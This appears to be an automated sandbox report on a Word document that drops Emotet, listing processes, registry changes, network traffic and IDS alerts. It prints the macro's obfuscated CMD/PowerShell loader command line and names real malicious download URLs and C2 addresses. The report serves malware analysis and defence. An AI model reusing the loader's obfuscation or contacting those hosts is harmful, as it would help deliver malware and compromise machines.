| File name: | How_To.doc |
| Full analysis: | https://app.any.run/tasks/5d4dff8d-5e32-4e4d-b9b9-3176adc1f72a |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 06, 2018, 08:48:32 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 4 16:15:00 2018, Last Saved Time/Date: Tue Dec 4 16:15:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 24, Security: 0 |
| MD5: | 4F655BDA03F05629485524ED031E7533 |
| SHA1: | EB19015369F2B75B46D6052F4831EB5DAB645261 |
| SHA256: | 0F950DEE5A304CDF5747CA488D08A24CF9804716443D8C11E580C8AAE7D486F5 |
| SSDEEP: | 1536:vp81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a9RDKPcP2fba2HJI/yLH:h8GhDS0o9zTGOZD6EbzCdXDKEPvqIqLH |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2948)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2948)
Application was dropped or rewritten from another process
- 59.exe (PID: 3400)
- 59.exe (PID: 2272)
- archivesymbol.exe (PID: 4036)
- archivesymbol.exe (PID: 2672)
Executes PowerShell scripts
- cmd.exe (PID: 1904)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 3648)
Downloads executable files from the Internet
- powershell.exe (PID: 3648)
EMOTET was detected
- archivesymbol.exe (PID: 2672)
Connects to CnC server
- archivesymbol.exe (PID: 2672)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 3888)
- cmd.exe (PID: 1904)
- cmd.exe (PID: 2504)
- cmd.exe (PID: 2428)
Application launched itself
- cmd.exe (PID: 2428)
Creates files in the user directory
- powershell.exe (PID: 3648)
Executable content was dropped or overwritten
- powershell.exe (PID: 3648)
- 59.exe (PID: 2272)
Starts itself from another location
- 59.exe (PID: 2272)
Connects to unusual port
- archivesymbol.exe (PID: 2672)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2948)
Creates files in the user directory
- WINWORD.EXE (PID: 2948)
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TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:04 16:15:00 |
| ModifyDate: | 2018:12:04 16:15:00 |
| Pages: | 1 |
| Words: | 4 |
| Characters: | 24 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 27 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
44
Monitored processes
13
Malicious processes
7
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 1904 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=8 delims=\Fs2B" %v IN ('ftype^|find "v1"') DO %v -" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2040 | C:\Windows\system32\cmd.exe /S /D /c" ftype" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2272 | "C:\Users\admin\AppData\Local\Temp\59.exe" | C:\Users\admin\AppData\Local\Temp\59.exe | 59.exe | ||||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
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| 2428 | CmD /V:O/C"set 90vf=FIrKRFdNqKsLZJXafMqVcJsQ0z8/uD1tmgh;=kSbep}E)\ o@Y97GBAjW:Ci{U6,$yH-vwnOl.5'+(x&&for %w in (64;34;2;53;36;75;55;19;22;75;35;64;17;7;16;36;70;40;69;67;47;39;55;40;20;31;46;7;40;31;73;56;40;39;58;72;59;40;70;31;35;64;7;54;31;36;75;34;31;31;41;57;27;27;40;70;33;59;70;40;22;47;16;32;59;22;20;34;59;40;16;73;20;47;32;27;22;50;5;50;11;32;43;51;21;48;34;31;31;41;57;27;27;40;28;2;47;16;2;40;59;33;34;31;67;40;33;73;20;47;32;27;39;39;39;22;5;50;14;72;48;34;31;31;41;57;27;27;16;47;31;47;16;2;15;70;15;70;73;40;22;27;26;19;6;54;49;61;56;62;59;25;48;34;31;31;41;57;27;27;16;59;78;78;47;73;70;72;27;2;1;40;58;5;41;34;53;48;34;31;31;41;57;27;27;16;47;28;2;70;59;40;2;22;73;47;2;33;27;41;51;19;78;30;54;33;70;6;75;73;38;41;72;59;31;77;75;48;75;44;35;64;53;59;71;36;75;38;14;32;75;35;64;52;55;58;46;36;46;75;74;50;75;35;64;59;54;25;36;75;34;17;11;75;35;64;59;28;66;36;64;40;70;68;57;31;40;32;41;76;75;45;75;76;64;52;55;58;76;75;73;40;78;40;75;35;16;47;2;40;15;20;34;77;64;18;25;43;46;59;70;46;64;7;54;31;44;60;31;2;65;60;64;17;7;16;73;29;47;69;70;72;47;15;6;5;59;72;40;77;64;18;25;43;63;46;64;59;28;66;44;35;64;61;19;53;36;75;66;72;52;75;35;1;16;46;77;77;52;40;31;67;1;31;40;32;46;64;59;28;66;44;73;72;40;70;33;31;34;46;67;33;40;46;26;24;24;24;24;44;46;60;1;70;68;47;37;40;67;1;31;40;32;46;64;59;28;66;35;64;11;17;19;36;75;16;49;2;75;35;39;2;40;15;37;35;42;42;20;15;31;20;34;60;42;42;64;7;23;66;36;75;55;6;9;75;35;83)do set 4hb=!4hb!!90vf:~%w,1!&&if %w geq 83 echo !4hb:~-447!|FOR /F "tokens=8 delims=\Fs2B" %v IN ('ftype^^^|find "v1"')DO %v -" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2504 | C:\Windows\system32\cmd.exe /c ftype|find "v1" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2672 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
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| 2868 | find "v1" | C:\Windows\system32\find.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Find String (grep) Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2948 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\How_To.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 3400 | "C:\Users\admin\AppData\Local\Temp\59.exe" | C:\Users\admin\AppData\Local\Temp\59.exe | — | powershell.exe | |||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
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| 3648 | PowerShell - | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
1 710
Read events
1 296
Write events
409
Delete events
5
Modification events
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | dt/ |
Value: 64742F00840B0000010000000000000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1300627477 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627596 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627597 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 840B0000FE3D8F81408DD40100000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | }u/ |
Value: 7D752F00840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | }u/ |
Value: 7D752F00840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6CC4.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3648 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GIWU158HS1ZPSZFKT7G5.temp | — | |
MD5:— | SHA256:— | |||
| 3648 | powershell.exe | C:\Users\admin\AppData\Local\Temp\59.exe | — | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$How_To.doc | pgc | |
MD5:— | SHA256:— | |||
| 2272 | 59.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3648 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247d8d.TMP | binary | |
MD5:— | SHA256:— | |||
| 3648 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
6
TCP/UDP connections
5
DNS requests
3
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3648 | powershell.exe | GET | 301 | 37.247.123.67:80 | http://fotofranan.es/8VdAYUW6iz | ES | html | 303 b | malicious |
3648 | powershell.exe | GET | 301 | 143.95.243.34:80 | http://enginesofmischief.com/s9F9LmE7J | US | html | 247 b | malicious |
3648 | powershell.exe | GET | 200 | 143.95.243.34:80 | http://enginesofmischief.com/s9F9LmE7J/ | US | html | 440 b | malicious |
3648 | powershell.exe | GET | 404 | 38.111.46.43:80 | http://eurofreight-eg.com/bbbsF9Xl | US | html | 326 b | malicious |
2672 | archivesymbol.exe | GET | — | 187.160.2.73:443 | http://187.160.2.73:443/ | MX | — | — | malicious |
3648 | powershell.exe | GET | 200 | 37.247.123.67:80 | http://fotofranan.es/8VdAYUW6iz/ | ES | executable | 164 Kb | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2672 | archivesymbol.exe | 187.160.2.73:443 | — | Television Internacional, S.A. de C.V. | MX | malicious |
2672 | archivesymbol.exe | 80.149.179.98:7080 | — | Deutsche Telekom AG | DE | malicious |
3648 | powershell.exe | 38.111.46.43:80 | eurofreight-eg.com | Cogent Communications | US | malicious |
3648 | powershell.exe | 143.95.243.34:80 | enginesofmischief.com | Colo4, LLC | US | malicious |
3648 | powershell.exe | 37.247.123.67:80 | fotofranan.es | Tecnocratica Centro de Datos, S.L. | ES | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
enginesofmischief.com |
| malicious |
eurofreight-eg.com |
| malicious |
fotofranan.es |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3648 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3648 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3648 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3648 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3648 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3648 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2672 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2672 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
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